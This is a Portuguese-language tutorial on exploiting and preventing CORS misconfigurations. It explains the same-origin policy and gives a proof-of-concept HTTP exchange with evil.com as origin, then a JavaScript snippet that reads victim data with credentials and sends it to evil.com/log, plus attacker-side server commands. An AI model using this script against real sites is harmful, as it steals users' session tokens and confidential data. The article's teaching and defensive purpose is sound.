Configuração Insegura do CORS
Configuração Insegura do CORS
O objetivo desse artigo é demonstrar como funciona a exploração de uma configuração incorreta do Cross-Origin Resource Sharing ou CORS.
Mas o que de fato é o CORS?
O CORS é um mecanismo que permite que recursos restritos em uma página da web sejam recuperados por outro domínio fora do domínio ao qual pertence o recurso que será recuperado. Uma página da web pode integrar livremente recursos de diferentes origens, como imagens, folhas de estilo, scripts, iframes e vídeos. Certas “solicitações de domínio cruzado”, em particular as solicitações Ajax, são proibidas por padrão pela política de segurança de mesma origem.
O CORS define uma maneira pela qual um navegador e um servidor podem interagir para determinar se é ou não seguro permitir uma solicitação de origem cruzada. Isso permite mais liberdade e funcionalidade do que as solicitações de mesma origem, entretanto é mais seguro do que a simples autorização para ter todas as solicitações de origem cruzada. O padrão para CORS foi publicado originalmente como uma recomendação W3C, mas este documento está obsoleto. A especificação mantida ativamente que define o CORS é o Fetch Living Standard do WHATWG.
Same-Origin Policy
A política de mesma origem é uma especificação restritiva de origem cruzada que limita a capacidade de um site interagir com recursos fora do domínio de origem. A política de mesma origem foi definida há muitos anos em resposta às interações entre domínios potencialmente maliciosas como, por exemplo, um site roubando dados privados de outro.
Flexibilização Same-Origin Policy
A política de mesma origem é muito restritiva e, consequentemente, várias abordagens foram criadas para contornar as restrições. Muitos sites interagem com subdomínios ou sites de terceiros de uma forma que requer acesso total entre origens.
O protocolo de compartilhamento de recursos de origem cruzada usa um conjunto de cabeçalhos HTTP que define origens confiáveis da web e propriedades associadas, como, por exemplo, a permissão de acesso autenticado.
Vulnerabilidades que podem ocorrer com uma configuração incorreta do CORS
Muitos sites modernos usam CORS para permitir acesso de subdomínios e sites de terceiros confiáveis. A implementação do CORS de forma incorreta pode conter erros ou ser excessivamente tolerante para garantir que tudo funcione, e isso pode resultar em vulnerabilidades exploráveis.
Exploração de Vulnerabilidades no CORS
Como prova de conceito, adicionaremos um Java script malicioso em um servidor que é controlado pelo atacante. Quando um usuário abrir o site malicioso o script vai processar sem o seu consentimento, enviando assim as informações da requisição para o servidor do atacante. Algumas informações podem ser capturadas, como por exemplo: tokens de sessão, senhas, informações confidenciais, entre outras.
Para detectar a vulnerabilidade, pode-se ler o cabeçalho Origin das solicitações e alterá-lo (ou inserir) com uma origem maliciosa. Por exemplo, considere uma aplicação que receba a seguinte requisição:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://evil.com
Cookie: sessionid=…
Em seguida, responde com:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
…
Este cabeçalho está afirmando que o acesso é permitido à partir do domínio solicitante (evil.com) e que as solicitações entre domínios podem incluir cookies (Access-Control-Allow-Credentials: true) e, portanto, serão processadas na sessão. Como o aplicativo reflete origens arbitrárias no cabeçalho Access-Control-Allow-Origin, absolutamente qualquer origem pode acessar recursos do domínio vulnerável.
Se a resposta tiver informações confidenciais, como uma chave de API ou token CSRF, você poderá recuperá-la colocando o seguinte script em seu site:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(‘get’,’https://vulnerable-website.com/sensitive-victim-data’,true);
req.withCredentials = true;
req.send();
function reqListener() {
location=’//evil.com/log?key=’+this.responseText;
};
</script>
Na máquina do atacante:
$ python -m SimpleHTTPServer 80
$ ngrok http 80
Dessa forma, quando a vítima acessar o website malicioso, o script entrará em execução sem o seu consentimento, enviando assim as informações para o atacante.
Como prevenir ataques baseados em CORS?
As seções a seguir descrevem algumas defesas eficazes contra ataques de CORS:
Configuração adequada de solicitações entre domínios
Se um recurso da web contém informações confidenciais, a origem deve ser especificada de forma adequada no Access-Control-Allow-Origin do cabeçalho.
Permitir apenas sites confiáveis
Pode parecer óbvio, mas as origens especificadas no cabeçalho Access-Control-Allow-Origin devem ser aceitas exclusivamente para sites confiáveis. Em particular, refletir dinamicamente as origens de solicitações entre domínios sem validação é facilmente explorável e deve ser evitado.